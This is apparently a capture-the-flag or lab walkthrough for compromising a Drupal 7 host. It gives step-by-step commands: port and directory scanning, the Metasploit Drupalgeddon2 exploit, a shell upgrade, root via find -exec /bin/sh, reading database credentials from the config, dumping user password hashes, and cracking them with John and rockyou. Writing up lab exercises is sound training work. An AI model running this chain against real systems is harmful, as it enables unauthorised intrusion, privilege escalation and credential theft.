nmap -sV -sC 192.168.1.175 -vv

dirsearch -u 192.168.1.175

check version of drupal from wapalizer

>search drupal 7 (search exploit)

use exploit/unix/webapp/drupal\_drupalgeddon2

set RHOST <ip>

exploit

shell ( to get shell )

python -c 'import pty; pty.spawn("/bin/bash")' (get terminal)

find . -exec /bin/sh \; -quit (for root permission)

'username' => 'dbuser',

'password' => 'R0ck3t', (database username password will get from drupal config file )

Mysql -u dbuser -p

Show databases;

Use drupaldb

Show tables;

select \* from users;

admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR | admin@example.com | | | NULL | 1550581826 | 1550583852 | 1550582362 | 1 | Australia/Melbourne | | 0 | admin@example.com | b:0; |

| 2 | Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg | fred@example.org

X8gdX7OdYRiBnlHoj0ukhtZ7eO4EDrvMkhN21SWZocs

Hashid -m “ hash” (to identify hash)

john --format=Drupal7 --wordlist=/usr/share/wordlists/rockyou.txt hashnew.txt